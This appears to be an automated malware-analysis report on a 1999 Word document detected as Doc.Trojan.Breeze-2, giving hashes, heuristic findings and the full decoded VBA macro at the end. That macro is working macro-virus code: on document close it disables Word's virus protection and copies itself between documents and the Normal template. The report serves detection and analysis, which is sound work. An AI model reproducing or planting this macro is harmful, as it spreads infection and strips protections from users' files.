Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2bd4b1279de5521e…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-07-14 20:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 868e880c9dc2db03702c6a1e79ff8615 SHA-1: 4264af326929d2c1f6b25ab5c7a48038d4b59246 SHA-256: 2bd4b1279de5521e17dd788d6defd81cd7cf6a970a726068cc2854fdba710fa4
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro with an AutoClose subroutine. This subroutine is designed to execute malicious code when the document is closed, indicating a likely attempt to deliver a secondary payload or perform other malicious actions. ClamAV detections further confirm its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Breeze-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Breeze-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 752 bytes
SHA-256: 9ac4c4773708cbdd21bf3d9a76fc9dcf12b85d2918a05c112cfdf2a80569ada9
Detection
ClamAV: Doc.Trojan.Breeze-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "storm"
Sub AutoClose()
On Error Resume Next
Options.VirusProtection = False
If Len(NormalTemplate.VBProject.VBComponents.Item("storm")) < 1 Then Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "storm", wdOrganizerObjectProjectItems
If Len(ActiveDocument.VBProject.VBComponents.Item("storm")) < 1 Then Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "storm", wdOrganizerObjectProjectItems
ActiveDocument.Save
End Sub

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